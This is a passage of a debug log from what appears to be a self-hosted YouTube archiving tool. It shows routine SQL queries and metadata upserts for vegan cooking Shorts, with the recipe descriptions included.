"predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I’ve been recipe testing these fudgey protein brownies this week and all I can say is…. DAYUM! 🤤 Vegan, gluten-free and soooo yummy. The full recipe video is now live on my YouTube channel so make sure to subscribe to see it or click the link below...\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nSUBSCRIBE TO MY CHANNEL FOR MORE DELICIOUS VEGAN RECIPES! #SteamyVeganKitchen", "Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts", "cb3235b3-de88-4839-bb55-10b078398f8c", 1, [], 15, false, "WHzBVRduS-k", "https://www.youtube.com/shorts/WHzBVRduS-k", 355, "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts/Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts [WHzBVRduS-k].NA", false, false, true, 1, ~U[2022-06-23 16:17:52Z], ~U[2026-03-22 03:29:01Z], ~U[2026-03-22 03:29:01Z], "I’ve been recipe testing these fudgey protein brownies this week and all I can say is…. DAYUM! 🤤 Vegan, gluten-free and soooo yummy. The full recipe video is now live on my YouTube channel so make sure to subscribe to see it or click the link below...\n\nFull recipe video: https://youtu.be/CaX3rd60OUk\n\nSUBSCRIBE TO MY CHANNEL FOR MORE DELICIOUS VEGAN RECIPES! #SteamyVeganKitchen", "Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts", 1, 15, false, "WHzBVRduS-k", "https://www.youtube.com/shorts/WHzBVRduS-k", "/downloads/downloads/alec/Steamy Vegan/2022-06-23 Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts/Protein Packed Brownies Recipe 🤤 Vegan + gluten-free #shorts [WHzBVRduS-k].NA", true, ~U[2022-06-23 16:17:52Z]] 20:29:01.071 [debug] QUERY OK source="sources" db=0.7ms idle=632.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:01.072 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:01.072 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [744] 20:29:01.073 [debug] Current batch of media processed. Will check again in 1000ms 20:29:02.075 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Food should always be so good that you can't help but to get up and dance, smile, and groan with happiness because of it.\n\nSubscribe for more vegan and gluten free recipes and daily content. Thanks for all your support!!! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Cheesy Action Food Reaction - Hot New Rap Single/Cheesy Action Food Reaction - Hot New Rap Single [muhJYJ9BPIU].NA", "id" => "muhJYJ9BPIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/muhJYJ9BPIU", "playlist_index" => 356, "timestamp" => 1655938396, "title" => "Cheesy Action Food Reaction - Hot New Rap Single", "upload_date" => "20220622"} 20:29:02.079 [debug] QUERY OK source="sources" db=2.5ms queue=0.2ms idle=1006.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:02.084 [debug] QUERY OK source="sources" db=3.7ms queue=0.2ms idle=1008.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:02.087 [debug] QUERY OK source="media_items" db=2.7ms idle=1012.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-22 22:53:16Z], 1] 20:29:02.090 [debug] QUERY OK source="media_items" db=2.4ms idle=1014.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Food should always be so good that you can't help but to get up and dance, smile, and groan with happiness because of it.\n\nSubscribe for more vegan and gluten free recipes and daily content. Thanks for all your support!!! Janelle", "Cheesy Action Food Reaction - Hot New Rap Single", "e294ad25-3aca-42c7-9c46-99d42f779299", 1, [], 13, false, "muhJYJ9BPIU", "https://www.youtube.com/shorts/muhJYJ9BPIU", 356, "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Cheesy Action Food Reaction - Hot New Rap Single/Cheesy Action Food Reaction - Hot New Rap Single [muhJYJ9BPIU].NA", false, false, true, 0, ~U[2022-06-22 22:53:16Z], ~U[2026-03-22 03:29:02Z], ~U[2026-03-22 03:29:02Z], "Food should always be so good that you can't help but to get up and dance, smile, and groan with happiness because of it.\n\nSubscribe for more vegan and gluten free recipes and daily content. Thanks for all your support!!! Janelle", "Cheesy Action Food Reaction - Hot New Rap Single", 1, 13, false, "muhJYJ9BPIU", "https://www.youtube.com/shorts/muhJYJ9BPIU", "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Cheesy Action Food Reaction - Hot New Rap Single/Cheesy Action Food Reaction - Hot New Rap Single [muhJYJ9BPIU].NA", true, ~U[2022-06-22 22:53:16Z]] 20:29:02.091 [debug] QUERY OK source="sources" db=0.3ms queue=0.3ms idle=685.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:02.092 [debug] QUERY OK source="media_profiles" db=0.4ms idle=12.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:02.094 [debug] QUERY OK source="media_items" db=1.6ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [745] 20:29:02.094 [debug] Current batch of media processed. Will check again in 1000ms 20:29:03.095 [debug] Current batch of media processed. Will check again in 1000ms 20:29:04.097 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Did you know that the more colours of veggies you eat in a meal, the more variety of nutrients you’re getting? ❤️🧡💛💚💙💜💗 Make rainbow salads a part of your summer meal prep — like this CREAMY ZOODLE + BLACK BEAN RAINBOW SALAD! 😍\n\nMy @pekoproduce mystery box did not disappoint this week — soooo much variety of healthy, colourful veggies (that didn’t end up in our landfills!) 🍅🥕🍋🥬🫐🍆\n\nINGREDIENTS:\n3 zucchinis, spiralized (rescued!)\n1/2 daikon radish, spiralized\n1/2 radicchio, chopped (rescued!)\n1.5 C. grape or cherry tomatoes (rescued!)\n1/2 crown broccoli, chopped\n1 orange bell pepper, chopped\n1 C. chopped green onion\n1 can black beans, drained and rinsed\nDRESSING (combine in a blender)\n1/4 C. Cilantro\n2 cloves garlic\n1 tbsp dijon mustard\n1 tbsp sesame oil\n2 tbsp ACV\n1/4 C. Cashews\n1 tbsp nooch\n2 tbsp vegan cream cheese\n1/2 tsp cumin\n1/2 tsp hot paprika\nS+P\n\nCheck out @PekoProduce (www.pekoproduce.com) and try out one of their mystery produce boxes of rescued fruits/veg that were destined for Metro Vancouver’s landfills due to cosmetic flaws/surplus quantities!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Eat the rainbow 🌈 BE THE RAINBOW!/Eat the rainbow 🌈 BE THE RAINBOW! [YxveXqGGG14].NA", "id" => "YxveXqGGG14", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/YxveXqGGG14", "playlist_index" => 357, "timestamp" => 1655906414, "title" => "Eat the rainbow 🌈 BE THE RAINBOW!", "upload_date" => "20220622"} 20:29:04.098 [debug] QUERY OK source="sources" db=0.9ms idle=687.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:04.099 [debug] QUERY OK source="sources" db=0.4ms idle=515.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:04.102 [debug] QUERY OK source="media_items" db=2.5ms queue=0.6ms idle=516.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-22 14:00:14Z], 1] 20:29:04.104 [debug] QUERY OK source="media_items" db=1.3ms idle=519.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Did you know that the more colours of veggies you eat in a meal, the more variety of nutrients you’re getting? ❤️🧡💛💚💙💜💗 Make rainbow salads a part of your summer meal prep — like this CREAMY ZOODLE + BLACK BEAN RAINBOW SALAD! 😍\n\nMy @pekoproduce mystery box did not disappoint this week — soooo much variety of healthy, colourful veggies (that didn’t end up in our landfills!) 🍅🥕🍋🥬🫐🍆\n\nINGREDIENTS:\n3 zucchinis, spiralized (rescued!)\n1/2 daikon radish, spiralized\n1/2 radicchio, chopped (rescued!)\n1.5 C. grape or cherry tomatoes (rescued!)\n1/2 crown broccoli, chopped\n1 orange bell pepper, chopped\n1 C. chopped green onion\n1 can black beans, drained and rinsed\nDRESSING (combine in a blender)\n1/4 C. Cilantro\n2 cloves garlic\n1 tbsp dijon mustard\n1 tbsp sesame oil\n2 tbsp ACV\n1/4 C. Cashews\n1 tbsp nooch\n2 tbsp vegan cream cheese\n1/2 tsp cumin\n1/2 tsp hot paprika\nS+P\n\nCheck out @PekoProduce (www.pekoproduce.com) and try out one of their mystery produce boxes of rescued fruits/veg that were destined for Metro Vancouver’s landfills due to cosmetic flaws/surplus quantities!", "Eat the rainbow 🌈 BE THE RAINBOW!", "b2aa21a5-57a0-43de-95f7-5e9f4e383500", 1, [], 15, false, "YxveXqGGG14", "https://www.youtube.com/shorts/YxveXqGGG14", 357, "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Eat the rainbow 🌈 BE THE RAINBOW!/Eat the rainbow 🌈 BE THE RAINBOW! [YxveXqGGG14].NA", false, false, true, 1, ~U[2022-06-22 14:00:14Z], ~U[2026-03-22 03:29:04Z], ~U[2026-03-22 03:29:04Z], "Did you know that the more colours of veggies you eat in a meal, the more variety of nutrients you’re getting? ❤️🧡💛💚💙💜💗 Make rainbow salads a part of your summer meal prep — like this CREAMY ZOODLE + BLACK BEAN RAINBOW SALAD! 😍\n\nMy @pekoproduce mystery box did not disappoint this week — soooo much variety of healthy, colourful veggies (that didn’t end up in our landfills!) 🍅🥕🍋🥬🫐🍆\n\nINGREDIENTS:\n3 zucchinis, spiralized (rescued!)\n1/2 daikon radish, spiralized\n1/2 radicchio, chopped (rescued!)\n1.5 C. grape or cherry tomatoes (rescued!)\n1/2 crown broccoli, chopped\n1 orange bell pepper, chopped\n1 C. chopped green onion\n1 can black beans, drained and rinsed\nDRESSING (combine in a blender)\n1/4 C. Cilantro\n2 cloves garlic\n1 tbsp dijon mustard\n1 tbsp sesame oil\n2 tbsp ACV\n1/4 C. Cashews\n1 tbsp nooch\n2 tbsp vegan cream cheese\n1/2 tsp cumin\n1/2 tsp hot paprika\nS+P\n\nCheck out @PekoProduce (www.pekoproduce.com) and try out one of their mystery produce boxes of rescued fruits/veg that were destined for Metro Vancouver’s landfills due to cosmetic flaws/surplus quantities!", "Eat the rainbow 🌈 BE THE RAINBOW!", 1, 15, false, "YxveXqGGG14", "https://www.youtube.com/shorts/YxveXqGGG14", "/downloads/downloads/alec/Steamy Vegan/2022-06-22 Eat the rainbow 🌈 BE THE RAINBOW!/Eat the rainbow 🌈 BE THE RAINBOW! [YxveXqGGG14].NA", true, ~U[2022-06-22 14:00:14Z]] 20:29:04.105 [debug] QUERY OK source="sources" db=0.8ms idle=521.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:04.106 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:04.107 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [746] 20:29:04.107 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Our channel is all about making food healthier, fun and laugh out loud delicious. We transform popular dishes to be vegan and gluten free to suit our diet and hopefully yours.\n\nSubscribe for more laughs. Thanks for all your support! Janelle", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Food Should Make You Happy/Food Should Make You Happy [jmkBCLJFAhI].NA", "id" => "jmkBCLJFAhI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/jmkBCLJFAhI", "playlist_index" => 358, "timestamp" => 1655854203, "title" => "Food Should Make You Happy", "upload_date" => "20220621"} 20:29:04.109 [debug] QUERY OK source="sources" db=1.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:04.109 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:04.111 [debug] QUERY OK source="media_items" db=2.1ms idle=3.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-21 23:30:03Z], 1] 20:29:04.113 [debug] QUERY OK source="media_items" db=0.9ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Our channel is all about making food healthier, fun and laugh out loud delicious. We transform popular dishes to be vegan and gluten free to suit our diet and hopefully yours.\n\nSubscribe for more laughs. Thanks for all your support! Janelle", "Food Should Make You Happy", "cd9bc50d-8012-43c5-b19b-26b645acfbea", 1, [], 13, false, "jmkBCLJFAhI", "https://www.youtube.com/shorts/jmkBCLJFAhI", 358, "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Food Should Make You Happy/Food Should Make You Happy [jmkBCLJFAhI].NA", false, false, true, 0, ~U[2022-06-21 23:30:03Z], ~U[2026-03-22 03:29:04Z], ~U[2026-03-22 03:29:04Z], "Our channel is all about making food healthier, fun and laugh out loud delicious. We transform popular dishes to be vegan and gluten free to suit our diet and hopefully yours.\n\nSubscribe for more laughs. Thanks for all your support! Janelle", "Food Should Make You Happy", 1, 13, false, "jmkBCLJFAhI", "https://www.youtube.com/shorts/jmkBCLJFAhI", "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Food Should Make You Happy/Food Should Make You Happy [jmkBCLJFAhI].NA", true, ~U[2022-06-21 23:30:03Z]] 20:29:04.113 [debug] QUERY OK source="sources" db=0.3ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:04.114 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:04.115 [debug] QUERY OK source="media_items" db=0.3ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [747] 20:29:04.115 [debug] Current batch of media processed. Will check again in 1000ms 20:29:05.116 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Stop tossing your leek tops! For some weird reason we've been taught that the stalky green parts of leeks are inedible -- that's BS! Leeks have tons of dietary fibre and vitamin C -- so use em! I was super happy to get a GIANT leek in my @pekoproduce mystery box this week and knew right away that I'd make a soup! #lowwaste #nowaste \n\nThis Mushroom & Leek soup was the bomb dot com on a cool June-uary day (#raincouver ☔️). \n\nINGREDIENTS:\n1 lb. white mushrooms, quartered\n1 large leek, white and green parts separated, sliced\n1/2 yellow onion, diced\n1 head roasted garlic\n1.5 tbsp oil\n1/2 can coconut milk\n4 cups veggie or onion broth, hot\n2 tbsp red wine vinegar\n1-2 tbsp GF soy sauce\n2 bay leaves\n1 tsp dried thyme\n1 tsp hot paprika\nsalt + pepper to taste\n\nSauté the onion, white part of leeks and garlic in oil on medium-high heat for 2-3 minutes, until softened slightly and sweating -- Add the mushrooms, sliced green leek tops, and stir to combine thoroughly -- Add remaining herbs, spices and seasonings and pour the broth and coconut milk over top -- Stir and cover and bring to a boil; once boiling lower heat to medium and simmer for 15 to 20 minutes until the mushrooms and leek greens are cooked through -- adjust seasonings as needed. ENJOY!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-21 Stop 🛑 throwing out your leek tops!/Stop 🛑 throwing out your leek tops! [5fvjGrxpF0M].NA", "id" => "5fvjGrxpF0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/5fvjGrxpF0M", "playlist_index" => 359, "timestamp" => 1655836208, "title" => "Stop 🛑 throwing out your leek tops!", "upload_date" => "20220621"} 20:29:05.117 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 